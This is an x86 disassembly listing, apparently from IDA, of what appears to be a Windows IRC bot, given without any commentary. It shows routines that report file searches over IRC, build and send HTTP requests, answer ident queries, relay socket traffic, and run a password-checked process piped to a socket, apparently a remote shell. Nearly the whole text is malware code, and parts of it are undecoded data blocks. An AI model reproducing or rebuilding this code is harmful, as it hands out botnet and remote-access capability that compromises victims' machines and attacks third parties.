loc_410550 loc_410915: ; CODE XREF: sub_410330+215j push [ebp+arg_0] nop call near ptr 25C0000h cmp [ebp+arg_8], ebx jz short loc_410958 mov eax, [ebp+var_8] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416C7D pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41C006 add esp, 14h jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410958: ; CODE XREF: sub_410330+5F1j cmp [ebp+arg_C], ebx jz short loc_410972 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41C006 pop ecx pop ecx jmp short loc_41098C ; --------------------------------------------------------------------------- loc_410972: ; CODE XREF: sub_410330+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41C006 add esp, 10h loc_41098C: ; CODE XREF: sub_410330+626j ; sub_410330+640j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 pop edi pop esi xor eax, eax pop ebx leave retn sub_410330 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109B2 proc near ; CODE XREF: sub_40FEFE+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 273075Dh mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410A6A push esi push ebx nop call near ptr 2760B82h cmp eax, esi mov [ebp+arg_4], eax jz short loc_410A63 loc_4109F7: ; CODE XREF: sub_4109B2+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41BD10 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410A14 mov edi, [ebp+arg_4] loc_410A14: ; CODE XREF: sub_4109B2+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 27A0000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2710000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_410A5E call dword_4C9298 cmp eax, 2733h jnz short loc_410A63 xor eax, eax loc_410A5E: ; CODE XREF: sub_4109B2+9Bj sub [ebp+arg_4], eax jnz short loc_4109F7 loc_410A63: ; CODE XREF: sub_4109B2+43j ; sub_4109B2+A8j push ebx nop call near ptr 2670000h loc_410A6A: ; CODE XREF: sub_4109B2+30j pop edi pop esi pop ebx leave retn sub_4109B2 endp ; =============== S U B R O U T I N E ======================================= sub_410A6F proc near ; CODE XREF: sub_410080+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B960 test eax, eax pop ecx jbe short loc_410A98 loc_410A82: ; CODE XREF: sub_410A6F+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410A8C mov byte ptr [esi+edi], 2Fh loc_410A8C: ; CODE XREF: sub_410A6F+17j push edi inc esi call sub_41B960 cmp esi, eax pop ecx jb short loc_410A82 loc_410A98: ; CODE XREF: sub_410A6F+11j mov eax, edi pop edi pop esi retn sub_410A6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A9D proc near ; CODE XREF: sub_401AC7+5201p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4C9274 push 6 push 1 push 2 call dword_4C9384 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4C9304 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz short loc_410B7A mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410B16 mov eax, offset byte_43B4B8 loc_410B16: ; CODE XREF: sub_410A9D+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4C9354 push esi lea eax, [ebp+var_110] push edi push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4C931C pop esi loc_410B7A: ; CODE XREF: sub_410A9D+6Bj push ebx call dword_4C939C call dword_4C925C lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41C006 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410BBA push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409862 add esp, 14h loc_410BBA: ; CODE XREF: sub_410A9D+102j pop edi pop ebx leave retn sub_410A9D endp ; --------------------------------------------------------------------------- loc_410BBE: ; DATA XREF: ___:00401660o ; sub_401AC7+4389o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41BD10 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4C9304 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410D1F mov eax, [ebp+8] push edi imul eax, 234h mov dword_43C24C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_410D1F push 5 push ebx call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_410D1F mov [ebp-0Ch], edi mov edi, 200h loc_410C49: ; CODE XREF: ___:00410CA8j ; ___:00410D08j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4C9398 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_410D1A movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4C9390 push eax lea eax, [ebp-238h] push offset dword_43495C push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4C931C cmp eax, 0FFFFFFFFh jz short loc_410C49 lea eax, [ebp-238h] push esi push eax call sub_41847D push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41BD10 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40AE77 push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41C100 add esp, 34h lea eax, [ebp-238h] push esi push eax call sub_41B960 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4C9354 cmp eax, 0FFFFFFFFh jz loc_410C49 mov dword ptr [ebp-8], 1 jmp loc_410C49 ; --------------------------------------------------------------------------- loc_410D1A: ; CODE XREF: ___:00410C5Ej cmp [ebp-8], esi jnz short loc_410D46 loc_410D1F: ; CODE XREF: ___:00410C05j ; ___:00410C29j ... call dword_4C9298 push eax lea eax, [ebp-238h] push offset dword_434918 push eax call sub_41C006 lea eax, [ebp-238h] push eax call sub_415CEE add esp, 10h loc_410D46: ; CODE XREF: ___:00410D1Dj push ebx call dword_4C939C push dword ptr [ebp-4] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_410D69: ; DATA XREF: sub_401AC7+609Eo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4C9304 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4C9384 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410ED5 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43C24C[ecx], eax call dword_4C9214 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4C9330 test eax, eax jnz loc_410ED5 push 0Ah push dword ptr [ebp+8] call dword_4C932C test eax, eax jnz loc_410ED5 loc_410E19: ; CODE XREF: ___:00410E2Fj lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4C9398 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410E19 movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4C9390 push eax lea eax, [ebp-350h] push offset unk_4349C4 push eax call sub_41C006 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B3AD mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43C244[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_410EFA push esi push esi ; --------------------------------------------------------------------------- dd 27F203E8h, 4D8B9002h, 34C969C4h, 3B000002h, 548189C6h dd 740043C2h, 0D0753913h, 0FF63850Fh, 326AFFFFh, 27F143E8h dd 0EDEB9002h, 27F9E2E8h, 68509002h, 434988h, 4E91E8h dd 0EB595900h db 3 ; --------------------------------------------------------------------------- loc_410ED5: ; CODE XREF: ___:00410DCCj ; ___:00410E00j ... mov edi, [ebp+8] push edi call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-40h] call sub_40B6C9 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi loc_410EFA: ; DATA XREF: ___:00410E8Do push ebp mov ebp, esp mov eax, 1344h call sub_41C2A0 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4C9384 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4110B0 push 10h lea eax, [ebp-18h] push edi push eax call sub_41BD10 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4C9304 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4C9344 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410F8A lea eax, [ebp-13Ch] push eax call dword_4C9388 jmp short loc_410F98 ; --------------------------------------------------------------------------- loc_410F8A: ; CODE XREF: ___:00410F79j push 2 lea eax, [ebp-8] push 4 push eax call dword_4C92BC loc_410F98: ; CODE XREF: ___:00410F88j cmp eax, edi jz loc_4110B0 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_4110B0 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4C9390 push eax lea eax, [ebp-344h] push offset unk_434A4C push eax call sub_41C006 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B3AD imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43C24C[ebx] mov dword_43C244[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43C250[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_4110E1 push edi push edi nop call near ptr 269009Ch mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_41109D loc_41104A: ; CODE XREF: ___:00411057j cmp [ebp-20h], edi jnz short loc_411059 push 32h nop call near ptr 2690000h jmp short loc_41104A ; --------------------------------------------------------------------------- loc_411059: ; CODE XREF: ___:0041104Dj mov ebx, 1000h loc_41105E: ; CODE XREF: ___:00411099j push ebx lea eax, [ebp-1344h] push edi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4C931C cmp eax, edi jle short loc_4110B0 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_41105E jmp short loc_4110B0 ; --------------------------------------------------------------------------- loc_41109D: ; CODE XREF: ___:00411048j nop call near ptr 26908A7h push eax push offset unk_434A0C call sub_415D62 pop ecx pop ecx loc_4110B0: ; CODE XREF: ___:00410F3Ej ; ___:00410F9Aj ... mov eax, [ebp-4] imul eax, 234h push dword_43C24C[eax] call dword_4C939C push dword ptr [ebp+8] call dword_4C939C push dword ptr [ebp-4] call sub_40B6C9 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_4110E1: ; DATA XREF: ___:0041102Ao push ebp mov ebp, esp mov eax, 1128h call sub_41C2A0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_411118: ; CODE XREF: ___:0041115Dj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43C250[esi] call dword_4C931C test eax, eax jle short loc_41115F push 0 push eax lea eax, [ebp-1128h] push eax push dword_43C24C[esi] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_411118 loc_41115F: ; CODE XREF: ___:00411142j push dword_43C250[esi] call dword_4C939C push dword ptr [ebp-14h] call sub_40B6C9 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h dd 22DEE84h ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43C24C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4C92EC test eax, eax jnz short loc_411202 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi nop call near ptr 26F0000h loc_411202: ; CODE XREF: ___:004111E8j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4C931C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_411383 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_411383 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4C9258 test eax, eax jz short loc_41127B call dword_4C9298 push eax push offset unk_434B24 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push edi nop call near ptr 26F0000h loc_41127B: ; CODE XREF: ___:00411256j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4C92BC cmp eax, edi jnz short loc_4112A5 push dword ptr [ebp-18h] call dword_4C9390 push eax lea eax, [ebp-0B0h] push eax call sub_41C006 jmp short loc_4112B3 ; --------------------------------------------------------------------------- loc_4112A5: ; CODE XREF: ___:0041128Bj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C620 loc_4112B3: ; CODE XREF: ___:004112A3j pop ecx pop ecx push edi push ebx push offset byte_43B4B8 push dword ptr [esi] call dword_4C9354 cmp dword_4CC06C, edi jnz short loc_411315 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_4113DD add esp, 10h test eax, eax jnz short loc_411315 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4C9354 push dword ptr [esi] call dword_4C939C push dword ptr [ebp+8] call sub_40B6C9 pop ecx push edi call near ptr 26F0000h nop loc_411315: ; CODE XREF: ___:004112CAj ; ___:004112EBj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434AE8 call sub_415D62 push dword ptr [ebp+8] call sub_411694 add esp, 10h test eax, eax jnz short loc_41135C nop call near ptr 26908A7h push eax push offset unk_434ABC call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 0Ch push ebx nop call near ptr 26F0000h loc_41135C: ; CODE XREF: ___:00411337j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434A90 call sub_415D62 push dword ptr [ebp+8] call sub_40B6C9 add esp, 10h push edi nop call near ptr 26F0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411383 proc near ; CODE XREF: ___:00411218p ; ___:00411225p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jnz short loc_4113D3 mov esi, [ebp+arg_4] loc_4113A1: ; CODE XREF: sub_411383+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_4113C8 test al, al jz short loc_4113D7 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4C931C cmp eax, 1 jz short loc_4113A1 jmp short loc_4113D3 ; --------------------------------------------------------------------------- loc_4113C8: ; CODE XREF: sub_411383+27j push offset unk_434B50 call sub_415D62 pop ecx loc_4113D3: ; CODE XREF: sub_411383+19j ; sub_411383+43j xor eax, eax jmp short loc_4113DA ; --------------------------------------------------------------------------- loc_4113D7: ; CODE XREF: sub_411383+2Bj push 1 pop eax loc_4113DA: ; CODE XREF: sub_411383+52j pop esi leave retn sub_411383 endp ; =============== S U B R O U T I N E ======================================= sub_4113DD proc near ; CODE XREF: ___:004112E1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_411408 push [esp+arg_4] push [esp+4+arg_0] push offset dword_434B7C call sub_415D62 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_411408: ; CODE XREF: sub_4113DD+11j push 1 pop eax retn sub_4113DD endp ; --------------------------------------------------------------------------- dword_41140C dd 81EC8B55h, 5A4ECh, 8458B00h, 786A5756h, 8DF08B59h, 0FFFDECBDh ; DATA XREF: sub_401AC7+2364o dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh dd 202h, 927415FFh, 0F633004Ch, 1D74C63Bh, 4CEC6850h, 0FE80043h dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 90570CC4h, 2DEB9BE8h dd 8A685702h, 90004116h, 38F6D4E8h, 75C08502h, 2CE89029h dd 500227F4h, 434CA868h, 48DCE800h, 59590000h, 925C15FFh dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Dh dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah, 7589E245h dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h, 537FFFFFh dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh, 9815FF53h dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h, 24C483B4h dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h dd 8D004111h, 5056F045h, 27EAC3E8h, 4D8B9002h, 34C969B8h dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h, 0FF37850Fh dd 326AFFFFh, 0EA02E890h, 0EDEB0227h, 0F2A1E890h, 68500227h dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 905659FFh, 2DE977E8h dd 0C0335B02h, 4244439h, 0C3C0940Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411694 proc near ; CODE XREF: ___:0041132Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4117E5 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43C24C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42708C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119B7 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_4116FF call near ptr 26908A7h nop push eax push offset unk_434D4C call sub_415D62 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_411739 ; --------------------------------------------------------------------------- loc_4116FF: ; CODE XREF: sub_411694+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411A69 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_411740 call near ptr 26908A7h nop push eax push offset unk_434D4C call sub_415D62 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call near ptr 26A0783h nop loc_411739: ; CODE XREF: sub_411694+69j xor eax, eax jmp loc_4117E0 ; --------------------------------------------------------------------------- loc_411740: ; CODE XREF: sub_411694+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27A0DEDh sub eax, ebx jz short loc_41179A dec eax jz short loc_411794 dec eax jz short loc_411780 nop call near ptr 26908A7h push eax push offset unk_434D18 call sub_415D62 pop ecx pop ecx jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411780: ; CODE XREF: sub_411694+D5j mov edi, dword_4270BC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_4117AF ; --------------------------------------------------------------------------- loc_411794: ; CODE XREF: sub_411694+D2j push ebx push dword ptr [esi+10h] jmp short loc_41179E ; --------------------------------------------------------------------------- loc_41179A: ; CODE XREF: sub_411694+CFj push ebx push dword ptr [esi+14h] loc_41179E: ; CODE XREF: sub_411694+104j call near ptr 26A0783h nop push 1 push dword ptr [esi+8] nop call near ptr 2730D30h loc_4117AF: ; CODE XREF: sub_411694+EAj ; sub_411694+FEj push dword ptr [esi+10h] mov edi, dword_427078 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4C939C push esi call sub_41BA31 pop ecx push 1 pop eax loc_4117E0: ; CODE XREF: sub_411694+A7j pop edi pop esi pop ebx leave retn sub_411694 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4117E5 proc near ; CODE XREF: sub_411694+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41BC9B mov esi, eax pop ecx cmp esi, edi jz loc_4118CF mov ebx, dword_427114 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427078 test eax, eax jnz short loc_411848 nop call near ptr 26908A7h push eax push offset unk_434DFC jmp short loc_411868 ; --------------------------------------------------------------------------- loc_411848: ; CODE XREF: sub_4117E5+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_411870 nop call near ptr 26908A7h push eax push offset unk_434DBC loc_411868: ; CODE XREF: sub_4117E5+61j call sub_415D62 pop ecx jmp short loc_41189E ; --------------------------------------------------------------------------- loc_411870: ; CODE XREF: sub_4117E5+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4118DE add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_4118D3 push offset unk_434D94 call sub_415CEE loc_41189E: ; CODE XREF: sub_4117E5+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118AA push [ebp+var_4] call edi loc_4118AA: ; CODE XREF: sub_4117E5+BEj cmp [ebp+var_8], 0 jz short loc_4118B5 push [ebp+var_8] call edi loc_4118B5: ; CODE XREF: sub_4117E5+C9j mov eax, [esi] test eax, eax jz short loc_4118BE push eax call edi loc_4118BE: ; CODE XREF: sub_4117E5+D4j mov eax, [esi+4] test eax, eax jz short loc_4118C8 push eax call edi loc_4118C8: ; CODE XREF: sub_4117E5+DEj push esi call sub_41BA31 pop ecx loc_4118CF: ; CODE XREF: sub_4117E5+1Dj xor eax, eax jmp short loc_4118D9 ; --------------------------------------------------------------------------- loc_4118D3: ; CODE XREF: sub_4117E5+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_4118D9: ; CODE XREF: sub_4117E5+ECj pop edi pop esi pop ebx leave retn sub_4117E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118DE proc near ; CODE XREF: sub_4117E5+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41BD10 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41BD10 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_427110 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 2740000h 